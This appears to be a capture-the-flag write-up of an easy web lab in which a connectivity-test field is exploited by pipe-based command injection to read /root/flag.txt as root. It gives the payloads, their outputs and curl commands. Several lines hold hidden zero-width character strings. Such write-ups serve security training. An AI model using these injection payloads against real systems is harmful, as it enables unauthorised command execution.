Lab 96 — DataShift — RCE via Command Injection in Connection Tester

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: os_command_injection_via_pipe, ping_command_injection, unsanitized_shell_input

Summary

Task: Data migration platform with connectivity test feature that passes user input directly to OS ping command without sanitization. Solution: OS command injection via pipe separator in hostname field of POST /api/connections/test, escalated to read /root/flag.txt as root.

Lab 96 — DataShift — RCE via Command Injection in Connection Tester — Hackadvisor

Description

DataShift is a data migration management platform built by Meridian Data Corp. It helps engineering teams move databases and files between servers across their infrastructure. The application provides project tracking, server connection management with connectivity testing, and detailed migration logs. You have been given credentials to a standard user account on the platform. Your objective is to explore the application, identify a security vulnerability, and exploit it to retrieve the flag stored on the server. Pay attention to how the application interacts with the underlying operating system — not every input is handled safely. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A data migration management platform with a "Quick Connectivity Test" feature on the Connections page. The test accepts a hostname/IP and runs a ping command on the server. The goal is to exploit the unsanitized input to achieve RCE and read the flag.

Credentials: user@test.com / password123

Analysis

1. Application structure: After login via POST /login, the platform exposes:

   • /dashboard — overview of migration projects
   • /connections — server connection management with "Quick Connectivity Test"
   • /projects — project tracking
   • /history — migration logs
   • /settings — platform settings ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Vulnerable feature: The Connections page (/connections) has a "Quick Connectivity Test" form that accepts a hostname or IP address and tests server reachability.

3. Backend behavior: The form sends a POST /api/connections/test request with a hostname field. The server constructs a shell command like ping -c 2 <hostname> and passes it directly to the OS shell without sanitization.

4. Filter analysis:

   • Pipe (|) — not filtered, allows command chaining
   • Semicolons (;) — filtered/stripped
   • Backticks and $() — interpreted as part of the ping argument (also exploitable in some contexts) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

5. Execution context: The application runs as root (uid=0, gid=0), giving full filesystem access to any injected commands.

Anti-Bot Decoy Flag: Pages contain decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and hidden <div> elements designed to trick automated scanners. These were recognized and ignored.

Solution

Step 1: Confirm Command Injection

Tested the connectivity test with a pipe separator to append the id command:

Input: 127.0.0.1|id

Response confirmed injection:

uid=0(root) gid=0(root) groups=0(root)...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server executes ping -c 2 127.0.0.1|id — the pipe causes the shell to run id with the output of ping piped to it, but more importantly, id executes and its output is returned.

Step 2: Locate the Flag

Used find to search for flag files:

Input: 127.0.0.1|find / -name flag* -type f 2>/dev/null

Output:

/root/flag.txt

Step 3: Read the Flag

Input: 127.0.0.1|cat /root/flag.txt

Output:

FLAG{REDACTED}

Equivalent curl command

 bash read-only • copy allowed Copy
# Login and get session cookie
curl -c cookies.txt -X POST http://<target>/login \
  -d "email=user@test.com&password=password123"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Exploit command injection
curl -b cookies.txt -X POST http://<target>/api/connections/test \
  -d "hostname=127.0.0.1|cat /root/flag.txt"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍